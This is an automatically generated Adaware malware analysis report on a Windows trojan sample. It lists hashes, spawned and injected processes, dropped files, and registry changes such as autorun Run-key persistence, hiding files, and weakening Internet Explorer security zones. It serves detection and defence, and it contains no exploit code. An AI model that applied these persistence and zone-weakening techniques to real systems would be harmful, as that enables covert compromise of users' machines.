Trojan.NSIS.StartPage_9f63e8b517 – Adaware

HEUR:Trojan.Win32.Generic (Kaspersky), Gen:Variant.Zusy.79781 (B) (Emsisoft), Gen:Variant.Zusy.79781 (AdAware), Trojan.NSIS.StartPage.FD, mzpefinder_pcap_file.YR, GenericInjector.YR (Lavasoft MAS)Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 9f63e8b517f9578effb8adbf78bb3dce

SHA1: a60551d80de28799af96aefbc0138bf5abab21f5

SHA256: b934f1c369ae0c65a941476eb56f298ad51aec25832016914b09ddb599d4f418

SSDeep: 6144:sFG/GtASLSFJPOVmbPbn6r/Lu0gh9RGDeAMzRBMDdjg:sUG8JmKD6r/dgTUeAwRBMDdk

Size: 282112 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: UPolyXv05_v6

Company: no certificate found

Created at: 2014-01-15 11:06:55

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

3ZZOSOZFJDS82MK21IQNAJPKVPXSBZKZ..EXE:1060
WScript.exe:368
CrashHandler.exe:420
CrashHandler.exe:680
HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..EXE:1648
bfgsetup_s1_l1.exe:1796
%original file name%.exe:1236
reg.exe:1164
reg.exe:620
reg.exe:232
reg.exe:204
reg.exe:1832
reg.exe:508
reg.exe:1352
reg.exe:1292
reg.exe:280
reg.exe:308
reg.exe:1176
reg.exe:996
reg.exe:468
reg.exe:208
reg.exe:1356
reg.exe:1496
reg.exe:964
reg.exe:904
reg.exe:968
reg.exe:2024
reg.exe:644
reg.exe:1100
reg.exe:544
reg.exe:1764

The Trojan injects its code into the following process(es):

Ptype.exe:752
Ptype.exe:1144
bfgsetup_s1_l1.exe:552
HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe:1128

File activity

The process 3ZZOSOZFJDS82MK21IQNAJPKVPXSBZKZ..EXE:1060 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Ptype.exe (3312 bytes)
%Documents and Settings%\%current user%\CrashHandler.exe (81017 bytes)

The process WScript.exe:368 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application DataFilename.exe (601 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\aihgmsvmb.vbs (0 bytes)

The process CrashHandler.exe:420 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\_socket.pyd (1960 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\select.pyd (392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\msvcm90.dll (589 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\_hashlib.pyd (2341 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\Microsoft.VC90.CRT.manifest (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\unicodedata.pyd (3821 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\win32api.pyd (706 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\msvcp90.dll (2342 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\triple.exe.manifest (731 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\python27.dll (16699 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\msvcr90.dll (4448 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\_ssl.pyd (6386 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\bz2.pyd (1137 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202 (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\pywintypes27.dll (1098 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\select.pyd (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\msvcr90.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\msvcm90.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\_hashlib.pyd (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\Microsoft.VC90.CRT.manifest (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\msvcp90.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\win32api.pyd (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\_ssl.pyd (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\triple.exe.manifest (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\python27.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\_socket.pyd (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\bz2.pyd (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\pywintypes27.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\unicodedata.pyd (0 bytes)

The process HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..EXE:1648 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsi2.tmp\UserInfo.dll (3 bytes)
%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\stub\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe (5731 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi2.tmp\System.dll (9 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsn1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi2.tmp (0 bytes)

The process Ptype.exe:752 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\aihgmsvmb.vbs (429 bytes)

The process Ptype.exe:1144 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\~a21524.log (4 bytes)

The process bfgsetup_s1_l1.exe:1796 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsxA.tmp\UserInfo.dll (3 bytes)
%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\clientinstaller\bfgsetup_s1_l1.exe (1120371 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxA.tmp\System.dll (9 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsr9.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxA.tmp (0 bytes)

The process bfgsetup_s1_l1.exe:552 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_en.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_fr.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_es.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_sw.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_de.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_de.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_pt.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_dn.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_it.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_it.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_fr.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_pt.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_en.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_jp.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_es.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\AccessControl.dll (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_dn.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_jp.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_du.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_du.ini (3 bytes)
%Documents and Settings%\All Users\Application Data\BigFishCache\GameManager\log\gamemanager_install_log.txt (426 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\uac.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxC.tmp (1178954 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\modern-header.bmp (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_sw.ini (3 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsxB.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp (0 bytes)

The process %original file name%.exe:1236 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\3ZZOSOZFJDS82MK21IQNAJPKVPXSBZKZ..EXE (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..EXE (237 bytes)

The process HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe:1128 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp (36 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa4.tmp\NSISdl.dll (18 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\S1YHUDA9\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa4.tmp\uac.dll (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa4.tmp\inetc.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IJE9GDOV\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\S5KLKDKJ\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa4.tmp\nsProcess.dll (4206 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (1928 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl8.tmp (36 bytes)
%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\Unpack\bfgsetup_s1_l1.exe (2998318 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IRCX4XCX\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa4.tmp\System.dll (11 bytes)
%Documents and Settings%\All Users\Application Data\BigFishCache\GameManager\log\gamestub_t_install_log.txt (37602 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa4.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@bigfishgames[1].txt (318 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf7.tmp (36 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\throttle.txt (2 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsa4.tmp (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@bigfishgames[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf3.tmp (0 bytes)

Registry activity

The process 3ZZOSOZFJDS82MK21IQNAJPKVPXSBZKZ..EXE:1060 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3C 0B 8D 03 68 B4 5A 0A AE 26 A5 56 81 81 7A 40"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%]
"Ptype.exe" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%]
"CrashHandler.exe" = "CrashHandler"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process WScript.exe:368 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D6 C0 6E 7E 02 D2 21 AC E0 D6 9B AA FB CF 56 A6"

The process CrashHandler.exe:680 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FF 3E A5 03 6E 9C F1 6A 40 42 98 F6 6C 81 5F E6"

The process HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..EXE:1648 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "68 87 A9 4C FA FE 23 FC 8B BE 42 FA 8B 98 B8 5D"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process Ptype.exe:752 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "53 02 38 01 4D 04 26 FC 42 0B F9 FA 6B F3 6D 6F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"reg.exe" = "Registry Console Tool"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"wscript.exe" = "Microsoft (R) Windows Based Script Host"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The process Ptype.exe:1144 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E1 93 6A A4 54 01 E5 34 0B 88 7E C7 D6 AF 63 58"

The process bfgsetup_s1_l1.exe:1796 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "87 B7 99 DE 09 47 4E 44 8E C3 B5 4C 45 06 17 06"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process bfgsetup_s1_l1.exe:552 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "18 47 02 8C 53 40 9E BD 07 14 38 15 C0 8D 1F C6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Big Fish Games]
"Default" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process %original file name%.exe:1236 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8A 98 2B BC FF 43 3F 2E 76 B7 A1 AD 47 6F 25 D5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"3ZZOSOZFJDS82MK21IQNAJPKVPXSBZKZ..EXE" = "prueba1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..EXE" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process reg.exe:1164 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FC 55 2A E5 B8 82 E4 E2 DF 10 A6 29 1B 61 AF 18"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"Hidden" = "1"

The process reg.exe:620 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "86 87 9B B9 04 C7 59 AE 02 09 58 B2 F1 5C 3F B6"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:232 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EF 5F 52 FA FF 04 8F DD BF D5 E3 FE D2 28 C2 53"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:204 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FC 28 1C 81 18 BD 50 36 49 FD A9 BF 9A 0D 0B A4"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:1832 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7A B6 5F 42 F8 CE 0F 6D 9A 58 AC 7E B0 C2 27 35"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:508 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "54 44 E8 05 43 57 53 92 02 CA 03 5D 58 78 86 9E"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:1352 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F2 77 27 A5 2F F3 C4 27 2E B3 5C 66 03 B9 7A 3F"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:1292 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "53 ED B5 B6 90 D1 5D AE B3 58 25 25 F1 64 68 27"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:280 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "90 8B E6 D1 78 1B 00 F2 41 1F 91 04 8F 05 25 21"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:308 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C6 BA 54 4F C9 49 A0 2A D9 3A AF 71 DC 56 B3 2D"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:1176 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3A C4 76 4F 0B 40 11 5E 7C 64 00 63 A0 71 DF D4"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:996 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EB D4 B0 6F B1 46 B9 14 99 CE 94 F3 95 84 E6 4C"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

